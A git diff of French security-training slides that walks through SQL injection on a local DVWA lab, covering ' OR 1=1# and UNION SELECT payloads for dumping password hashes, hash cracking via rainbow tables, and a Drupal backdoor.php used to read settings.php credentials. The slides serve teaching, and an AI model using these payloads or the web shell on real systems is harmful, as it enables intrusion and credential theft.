diff --git a/content/slides/1337/images/sidoine/SQLi-1.png b/content/slides/1337/images/sidoine/SQLi-1.png index 9f528b4d7c93260b05810e11918ce022cbc67184..6d06ad7c9ea1f62e18c8fadc18410c94e967a266 100644 Binary files a/content/slides/1337/images/sidoine/SQLi-1.png and b/content/slides/1337/images/sidoine/SQLi-1.png differ diff --git a/content/slides/1337/images/sidoine/SQLi-2-http.png b/content/slides/1337/images/sidoine/SQLi-2-http.png new file mode 100644 index 0000000000000000000000000000000000000000..e756d5497a34146d924e450ae379bd49ba3ce20f Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-2-http.png differ diff --git a/content/slides/1337/images/sidoine/SQLi-db-clear-question.png b/content/slides/1337/images/sidoine/SQLi-db-clear-question.png new file mode 100644 index 0000000000000000000000000000000000000000..733202c256c7af20e1e672be2dcc4bf9593240cf Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-db-clear-question.png differ diff --git a/content/slides/1337/images/sidoine/SQLi-db-hash.png b/content/slides/1337/images/sidoine/SQLi-db-hash.png index 1701f50fa3f02166345d639a507f3093793f130c..75624bb8025a6e044db683d8404b00ef3444ce01 100644 Binary files a/content/slides/1337/images/sidoine/SQLi-db-hash.png and b/content/slides/1337/images/sidoine/SQLi-db-hash.png differ diff --git a/content/slides/1337/md/sidoine.md b/content/slides/1337/md/sidoine.md index 0934328916768b7b53d73d07c4e846c7a2fac792..fa065d50428a43181f96f09c68d92affdd134273 100644 --- a/content/slides/1337/md/sidoine.md +++ b/content/slides/1337/md/sidoine.md @@ -1,13 +1,20 @@ -# Sécurité des applications web +# SQLi + +## Aka injections SQL ## Disclaimer -*Cette présentation explique comment marche les failles. -Toutes les attaques sont réalisées sur des VMs en local. -Il est vivement déconseillé de reproduire ces attaques -sur une cible distante, sans la permission explicite +*Cette présentation explique comment fonctionne l'exploiter +des services vulnérables aux injections SQL.* + +*Toutes les attaques sont réalisées sur des VMs en local.* + +*Il est vivement déconseillé de reproduire ces attaques +sur une cible distante, sans la permission explicite (c'est à dire écrite et signée) de l'administrateur de cette cible!* +*Selon la cible: **Vous risquez gros**!* + ## monsite.com @@ -34,7 +41,12 @@ Note: - différence = utilisateur ou mot de passe invalide -## https +## http = carte postale + + + + +## https = enveloppe cachetée  @@ -43,100 +55,124 @@ Note: - il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/ -## sqli +## ??? - + Note: - Lors du stockage du mot de passe - Pourquoi? - Le mot de passe n'est jamais affiché et voilà -## Bonne pratique - -### stocker les mots de passe hashés - -[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html) - ## sqli - + Note: -- Mot de passe hashé +- Lors du stockage du mot de passe + - Pourquoi? + - Le mot de passe n'est jamais affiché et voilà -## hashage +## SQLi -* <strike>SHA256(passeenclair) - * => 5452409edd9626898129c983ec443748</strike> -* SHA256(passeenclair) - * => 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4 -* SHA256(admin) - * => 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 +* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) + * depuis plusieurs années + * concerne tous les interpréteurs + * concerne tous les langages +* permet de + * lire des données protégées + * corrompre des données + * dénis de services + * lecture / écriture sur le système de fichiers + * exécution de commandes arbitraires -## Rainbow tables +## SQLi -### [https://crackstation.net/](https://crackstation.net/) +``` +http://dv.wa/vulnerabilities/sqli/ +``` -* Hashs précalculés de valeurs communes +Tout commence par un message d'erreur anodin si on saisit les caractère `'` au lieu de l'entier attendu -* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 - * => admin +``` +You have an error in your SQL syntax; check the manual +that corresponds to your MySQL server version +for the right syntax to use near ''''' at line 1 +``` -* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4 - * => ???? +### intéressant!?<!-- .element class="fragment roll-in" --> -## Bonne pratique +``` +$id = $_GET['id']; +$getid = "SELECT first_name, last_name + FROM users WHERE user_id = '$id'"; +$result = mysql_query($getid) or die(mysql_error()); +$num = mysql_numrows($result); +$i = 0; +while ($i < $num) { + $first = mysql_result($result,$i,"first_name"); + $last = mysql_result($result,$i,"last_name"); + echo '<pre>'; + echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; + echo '</pre>'; + $i++; +} +``` +le serveur exécute donc la requête +``` +SELECT first_name, last_name FROM users WHERE user_id = ''' +``` +et renvoie une erreur! chaîne de caractère non terminée ... -### Introduire des validations sur la robustesse du mot de passe. -* minuscule + majuscule + caractères spéciaux + numériques -* longueur minimum (passphrase) +## SQLi / détournement -### Ajouter un sel +en suivant la logique -* SHA256(admin+selsupercompliqué) +``` +SELECT first_name, last_name +FROM users WHERE user_id = '' OR 1=1 +``` +devrait afficher la liste de tous les utilisateurs ... -## SQLi +essayons de saisir la valeur `' OR 1=1` au lieu de l'entier attendu -* aka injection SQL -* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) depuis plusieurs années -* que peut on faire avec une SQLi? - * lire des données protégées - * corrompre des données - * dénis de services - * lecture / écriture sur le système de fichiers - * exécution de commandes arbitraires +#### toujours la même erreur!<!-- .element class="fragment roll-in" --> +### Pourquoi?<!-- .element class="fragment roll-in" --> -## SQLi +## SQLi / détournement + +la requête exécutée est en fait ``` -http://dv.wa/vulnerabilities/sqli/ +SELECT first_name, last_name +FROM users WHERE user_id = '' OR 1=1' ``` -Tout commence par un message d'erreur anodin +elle présente encore une erreur de chaîne de caractère non terminée! -``` -http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit# -``` +### Comment faire?<!-- .element class="fragment roll-in" --> -``` -You have an error in your SQL syntax; check the manual -that corresponds to your MySQL server version -for the right syntax to use near ''''' at line 1 -``` +#### essayons avec le symbole de commentaire en ligne #<!-- .element class="fragment roll-in" --> -### intéressant!?<!-- .element class="fragment roll-in" --> + +## SQLi / détournement + +on saisit maintenant la valeur `' OR 1=1#` au lieu de l'entier attendu + +## Ca marche :D<!-- .element class="fragment roll-in" --> ## SQLi / détournement +Notez qu'on peut travailler directement sur l'url (industrialisation) + ``` http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit ``` @@ -147,13 +183,12 @@ soit en version encodée http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit ``` -### encore mieux<!-- .element class="fragment roll-in" --> -### mais!<!-- .element class="fragment roll-in" --> -#### on affiche toujours pas les mot de passe car on a pas la main sur la clause select<!-- .element class="fragment roll-in" --> -### des idées?<!-- .element class="fragment roll-in" --> +#### peut on atteindre les mots de passe?<!-- .element class="fragment roll-in" --> +#### probablement dans la même table ...<!-- .element class="fragment roll-in" --> +#### mais comment? on a pas la main sur la clause SELECT de la requête ...<!-- .element class="fragment roll-in" --> -## Say hello to UNION +## Say hello to UNION! ``` SELECT column_name(s) FROM table1 @@ -163,41 +198,73 @@ SELECT column_name(s) FROM table2;  -### Les clauses select doivent avoir le même nombre d'éléments!?<!-- .element class="fragment roll-in" --> - +### Les clauses select doivent avoir le même nombre de champs!?<!-- .element class="fragment roll-in" --> -## déduire le nombre de champs -### intuition? -### jouer avec order BY +## comment deviner le nombre de champs d'une requête SQL? -``` -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit -``` -soit une fois les paramètres encodés +## jouer avec order BY ``` -http://dv.wa/vulnerabilities/sqli/?id=%27%20OR%201%3D1%20ORDER%20BY%202%23&Submit=Submit +' OR 1=1 ORDER BY 2# ``` +* si l'index correspond à un champs de la clause SELECT + * la requête s'exécute +* si l'index ne correspond pas à un champs de la clause SELECT + * la requête échoue + ## Affichage des mots de passe ``` -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT user, password FROM users#&Submit=Submit +' AND 1=0 UNION SELECT user, password FROM users# ``` -soit une fois les paramètres encodés +Les mots de passe sont hashés<!-- .element class="fragment roll-in" --> -``` -http://dv.wa/vulnerabilities/sqli/?id=%27%20AND%201%3D0%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit -``` +* SHA256(passeenclair) <!-- .element class="fragment roll-in" --> + * 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4<!-- .element class="fragment roll-in" --> +* SHA256(admin) <!-- .element class="fragment roll-in" --> + * 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918<!-- .element class="fragment roll-in" --> +* MD5(passeenclair) (cassé!)<!-- .element class="fragment roll-in" --> + * 5452409edd9626898129c983ec443748<!-- .element class="fragment roll-in" --> + + +## sqli + + + +Note: +- Mot de passe hashé + + +## Rainbow tables + +### [https://crackstation.net/](https://crackstation.net/) + +* Hashs précalculés de mots de passe *communs* + +* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 + * sha256 - admin + +* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4 + * ???? + + +## Bonnes pratiques + +* stocker les mots de passe hashés<!-- .element class="fragment roll-in" --> + + * <!-- .element class="fragment roll-in" -->[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html) + +* valider la robustesse des mot de passe utilisateur<!-- .element class="fragment roll-in" --> + * minuscule + majuscule + spéciaux + numériques<!-- .element class="fragment roll-in" --> + * longueur minimum (passphrase)<!-- .element class="fragment roll-in" --> -* Mot de passe hashé -* [https://crackstation.net/](https://crackstation.net/) - * 5f4dcc3b5aa765d61d8327deb882cf99 - * => md5 - password +* ajouter un sel<!-- .element class="fragment roll-in" --> + * SHA256(admin+selsupercompliqué)<!-- .element class="fragment roll-in" --> ## SQLi de la vraie vie (2014) @@ -397,7 +464,7 @@ $ php attack/exploit.php 'http://drup.al' * [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php) * affiche phpinfo() -* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php) +* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php) * affiche les paramètres SQL